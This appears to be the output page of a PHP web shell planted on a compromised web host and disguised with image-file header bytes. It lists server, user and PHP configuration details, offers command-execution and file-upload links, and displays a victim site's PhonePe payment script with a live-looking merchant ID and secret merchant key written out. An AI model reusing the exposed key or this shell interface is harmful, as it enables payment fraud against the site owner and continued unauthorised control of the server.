����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 13.59.82.60 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // This file handles the request for generating the token URL for PhonePe transaction function generateTokenUrl($merchantId, $merchantKey, $amount, $callbackUrl) { // PhonePe transaction initiation API endpoint $url = 'https://api.phonepe.com/apis/hermes/pg/v1/pay'; // Prepare the data to send to PhonePe API $data = [ "merchantId" => $merchantId, "amount" => $amount, // Amount in paise (e.g., 10000 = 100.00 INR) "merchantTransactionId" => uniqid(), // Unique transaction ID "merchantUserId" => "user123", // Merchant-specific user ID "callbackUrl" => $callbackUrl // URL where PhonePe will send the transaction result ]; // Convert data to JSON format $jsonData = json_encode($data); // Setup headers for the request $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $merchantKey ]; // Initialize cURL for the API request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // Execute cURL request $response = curl_exec($ch); curl_close($ch); // Decode the JSON response $responseData = json_decode($response, true); // Check if the response is successful and return the token URL if ($responseData['code'] === "SUCCESS") { return $responseData['data']['token']; } else { throw new Exception("Error generating token URL: " . $responseData['message']); } } // Main logic to handle request for token URL generation try { // Define your merchant details (replace with actual details) $merchantId = "STUDYLABONLINE"; $merchantKey = "d32f4f9f-0d94-449e-980b-7044c551026e"; $amount = 100; // Amount in paise (10000 = 100 INR) $callbackUrl = "https://vflyorions.com/paymentcallback.php"; // Callback URL for the transaction result // Generate the token URL $tokenUrl = generateTokenUrl($merchantId, $merchantKey, $amount, $callbackUrl); // Return the token URL as JSON echo json_encode([ 'status' => 'success', 'tokenUrl' => $tokenUrl ]); } catch (Exception $e) { // Handle any errors echo json_encode([ 'status' => 'error', 'message' => $e->getMessage() ]); } ?>